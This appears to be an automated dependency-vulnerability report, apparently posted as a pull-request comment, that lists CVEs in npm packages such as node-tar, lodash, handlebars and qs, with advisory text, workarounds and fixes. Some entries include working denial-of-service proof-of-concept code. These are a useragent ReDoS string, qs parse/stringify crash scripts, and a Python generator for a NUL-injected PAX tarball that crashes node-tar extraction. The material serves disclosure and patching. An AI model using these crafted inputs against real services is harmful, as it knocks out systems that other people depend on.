Finally, a defense in depth check is added, such that if the entry.absolute is outside of the extraction taret, and we are not in preservePaths:true mode, a warning is raised on that entry, and it is skipped. Currently, it is believed that this check is redundant, but it did catch some oversights in development.

[ CVE-2021-37712 ] tar 4.4.1

Vulnerability Details

CVSS V3: 8.6
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 4.4.18

Impact

Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution

node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts. A specially crafted tar archive could thus include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. It led to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

The v3 branch of node-tar has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of node-tar. If this is not possible, a workaround is available below.

Patches

6.1.9 || 5.0.10 || 4.4.18

Workarounds

Users may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.

const tar = require('tar')

tar.x({
  file: 'archive.tgz',
  filter: (file, entry) => {
    if (entry.type === 'SymbolicLink') {
      return false
    } else {
      return true
    }
  }
})

Users are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves.

Fix

The problem is addressed in the following ways, when comparing paths in the directory cache and path reservation systems:

  1. The String.normalize('NFKD') method is used to first normalize all unicode to its maximally compatible and multi-code-point form.
  2. All slashes are normalized to / on Windows systems (on posix systems, \ is a valid filename character, and thus left intact).
  3. When a symbolic link is encountered on Windows systems, the entire directory cache is cleared. Collisions related to use of 8.3 short names to replace directories with other (non-symlink) types of entries may make archives fail to extract properly, but will not result in arbitrary file writes.

[ CVE-2021-37701 ] tar 4.4.1

Vulnerability Details

CVSS V3: 8.6
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 4.4.16

Impact

Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution

node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators, however \ is a valid filename character on posix systems.

By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.

These issues were addressed in releases 4.4.16, 5.0.8 and 6.1.7.

The v3 branch of node-tar has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of node-tar. If this is not possible, a workaround is available below.

Patches

4.4.16 || 5.0.8 || 6.1.7

Workarounds

Users may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.

const tar = require('tar')

tar.x({
  file: 'archive.tgz',
  filter: (file, entry) => {
    if (entry.type === 'SymbolicLink') {
      return false
    } else {
      return true
    }
  }
})

Users are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves.

Fix

The problem is addressed in the following ways:

  1. All paths are normalized to use / as a path separator, replacing \ with / on Windows systems, and leaving \ intact in the path on posix systems. This is performed in depth, at every level of the program where paths are consumed.
  2. Directory cache pruning is performed case-insensitively. This may result in undue cache misses on case-sensitive file systems, but the performance impact is negligible.

Caveat

Note that this means that the entry objects exposed in various parts of tar's API will now always use / as a path separator, even on Windows systems. This is not expected to cause problems, as / is a valid path separator on Windows systems, but may result in issues if entry.path is compared against a path string coming from some other API such as fs.realpath() or path.resolve().

Users are encouraged to always normalize paths using a well-tested method such as path.resolve() before comparing paths to one another.

[ CVE-2021-33623 ] trim-newlines 1.0.0

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
trim-newlines: 1.0.0 (Transitive)Fix Version: 3.0.1

The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the .end() method.

[ CVE-2021-32804 ] tar 4.4.1

Vulnerability Details

CVSS V3: 8.1
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 4.4.14

Impact

Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution

node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example /home/user/.bashrc would turn into home/user/.bashrc.

This logic was insufficient when file paths contained repeated path roots such as ////home/user/.bashrc. node-tar would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite.

Patches

3.2.2 || 4.4.14 || 5.0.6 || 6.1.1

NOTE: an adjacent issue CVE-2021-32803 affects this release level. Please ensure you update to the latest patch levels that address CVE-2021-32803 as well if this adjacent issue affects your node-tar use case.

Workarounds

Users may work around this vulnerability without upgrading by creating a custom onentry method which sanitizes the entry.path or a filter method which removes entries with absolute paths.

const path = require('path')
const tar = require('tar')

tar.x({
  file: 'archive.tgz',
  // either add this function...
  onentry: (entry) => {
    if (path.isAbsolute(entry.path)) {
      entry.path = sanitizeAbsolutePathSomehow(entry.path)
      entry.absolute = path.resolve(entry.path)
    }
  },

  // or this one
  filter: (file, entry) => {
    if (path.isAbsolute(entry.path)) {
      return false
    } else {
      return true
    }
  }
})

Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.

[ CVE-2021-32803 ] tar 4.4.1

Vulnerability Details

CVSS V3: 8.1
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 4.4.15

Impact

Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution

node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where node-tar checks for symlinks occur.

By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.

Patches

3.2.3 || 4.4.15 || 5.0.7 || 6.1.2

Workarounds

Users may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.

const tar = require('tar')

tar.x({
  file: 'archive.tgz',
  filter: (file, entry) => {
    if (entry.type === 'SymbolicLink') {
      return false
    } else {
      return true
    }
  }
})

Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.

[ CVE-2021-23358 ] underscore 1.8.3

Vulnerability Details

CVSS V3: 7.2

The package underscore from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.

[ CVE-2021-23358 ] underscore 1.6.0

Vulnerability Details

CVSS V3: 7.2
Dependency Path:
underscore: 1.6.0 (Transitive)Fix Version: 1.12.1

The package underscore from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.

[ CVE-2021-23343 ] path-parse 1.0.6

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
path-parse: 1.0.6 (Direct)Fix Version: 1.0.7

Affected versions of npm package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.

[ CVE-2021-23337 ] lodash 2.2.1

Vulnerability Details

CVSS V3: 7.2
Dependency Path:
lodash: 2.2.1 (Transitive)Fix Version: 4.17.21

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

[ CVE-2021-23337 ] lodash 4.17.11

Vulnerability Details

CVSS V3: 7.2
Dependency Path:
lodash: 4.17.11 (Transitive)Fix Version: 4.17.21

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

[ CVE-2021-23337 ] lodash 3.10.1

Vulnerability Details

CVSS V3: 7.2

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

[ CVE-2020-8203 ] lodash 3.10.1

Vulnerability Details

CVSS V3: 7.4

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.

[ CVE-2020-8203 ] lodash 4.17.11

Vulnerability Details

CVSS V3: 7.4
Dependency Path:
lodash: 4.17.11 (Transitive)Fix Version: 4.17.19

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.

[ CVE-2020-36049 ] socket.io-parser 2.3.1

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
socket.io-parser: 2.3.1 (Transitive)Fix Version: 3.3.2

The socket.io-parser npm package before versions 3.3.2 and 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.

[ CVE-2020-36048 ] engine.io 1.8.5

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
engine.io: 1.8.5 (Transitive)Fix Version: 3.6.0

Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.

[ CVE-2020-28502 ] xmlhttprequest-ssl 1.5.3

Vulnerability Details

CVSS V3: 8.1
Dependency Path:
xmlhttprequest-ssl: 1.5.3 (Transitive)Fix Version: 1.6.2

This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

[ CVE-2020-26311 ] useragent 2.3.0

Vulnerability Details

CVSS V3: 7.5
Dependency Path:
useragent: 2.3.0 (Transitive)

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();
```<br></details>

<details><summary><b>[ CVE-2019-20922 ] handlebars 4.0.12</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary>Fix Version: 4.4.5<br></details> |

Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.<br></details>

<details><summary><b>[ CVE-2019-20920 ] handlebars 4.0.12</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 8.1 |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary>Fix Version: 4.5.3<br></details> |

Handlebars before 3.0.8 and 4.x before 4.5.3 is vulnerable to Arbitrary Code Execution. The lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript. This can be used to run arbitrary code on a server processing Handlebars templates or in a victim's browser (effectively serving as XSS).<br></details>

<details><summary><b>[ CVE-2019-20149 ] kind-of 6.0.2</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>kind-of: 6.0.2 (Transitive)</b></summary>Fix Version: 6.0.3<br></details> |

Versions of `kind-of` 6.x prior to 6.0.3 are vulnerable to a Validation Bypass. A maliciously crafted object can alter the result of the type check, allowing attackers to bypass the type checking validation. 


## Recommendation

Upgrade to versions 6.0.3 or later.<br></details>

<details><summary><b>[ CVE-2019-10790 ] taffydb 2.6.2</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>taffydb: 2.6.2 (Transitive)</b></summary><br></details> |

TaffyDB allows attackers to forge adding additional properties into user-input processed by taffy which can allow access to any data items in the DB. Taffy sets an internal index for each data item in its DB. However, it is found that the internal index can be forged by adding additional properties into user-input. If index is found in the query, TaffyDB will ignore other query conditions and directly return the indexed data item. Moreover, the internal index is in an easily-guessable format (e.g., T000002R000001). As such, attackers can use this vulnerability to access any data items in the DB. **Note:** `taffy` and its successor package `taffydb` are not maintained.<br></details>

<details><summary><b>[ CVE-2018-20834 ] tar 4.4.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>tar: 4.4.1 (Transitive)</b></summary>Fix Version: 4.4.2<br></details> |

Versions of `tar` prior to 4.4.2 for 4.x and 2.2.2 for 2.x are vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system, and a file that matches the hardlink will overwrite the system's file with the contents of the extracted file.


## Recommendation

For tar 4.x, upgrade to version 4.4.2 or later.
For tar 2.x, upgrade to version 2.2.2 or later.<br></details>

<details><summary><b>[ CVE-2017-20165 ] debug 2.3.3</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |

Es wurde eine Schwachstelle in debug-js debug bis 3.0.x entdeckt. Sie wurde als problematisch eingestuft. Es betrifft die Funktion useColors der Datei src/node.js. Durch Manipulieren des Arguments str mit unbekannten Daten kann eine inefficient regular expression complexity-Schwachstelle ausgenutzt werden. Ein Aktualisieren auf die Version 3.1.0 vermag dieses Problem zu lösen. Der Patch wird als c38a0166c266a679c8de012d4eaccec3f944e685 bezeichnet. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.<br></details>

<details><summary><b>[ CVE-2017-20165 ] debug 2.2.0</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>debug: 2.2.0 (Direct)</b></summary>Fix Version: 2.6.9<br></details> |

Es wurde eine Schwachstelle in debug-js debug bis 3.0.x entdeckt. Sie wurde als problematisch eingestuft. Es betrifft die Funktion useColors der Datei src/node.js. Durch Manipulieren des Arguments str mit unbekannten Daten kann eine inefficient regular expression complexity-Schwachstelle ausgenutzt werden. Ein Aktualisieren auf die Version 3.1.0 vermag dieses Problem zu lösen. Der Patch wird als c38a0166c266a679c8de012d4eaccec3f944e685 bezeichnet. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.<br></details>

<details><summary><b>[ CVE-2017-16113 ] parsejson 0.0.3</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>parsejson: 0.0.3 (Transitive)</b></summary><br></details> |

The parsejson module is vulnerable to regular expression denial of service when untrusted user input is passed into it to be parsed.<br></details>

<details><summary><b>[ CVE-2026-82417 ] qs 6.5.2</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>qs: 6.5.2 (Transitive)</b></summary>Fix Version: 6.16.0<br></details> |

### Summary

`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip.

### Details
`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:

```js
if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.


@buildguy

Copy link
Copy Markdown

📦 Vulnerable Dependencies

🔖 Details

[ CVE-2026-59875 ] tar 4.4.1

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.17

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in:

  • src/unpack.tsfs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
  • src/list.ts (no crash — listing tolerates NUL in strings)
  • Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept

Artifacts

  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'

Observed output (verified 2026-06-23 against tar@7.5.16)

UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

[ CVE-2026-53655 ] tar 4.4.1

Vulnerability Details

CVSS V3: 5.5
Dependency Path:
tar: 4.4.1 (Transitive)Fix Version: 7.5.16

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX
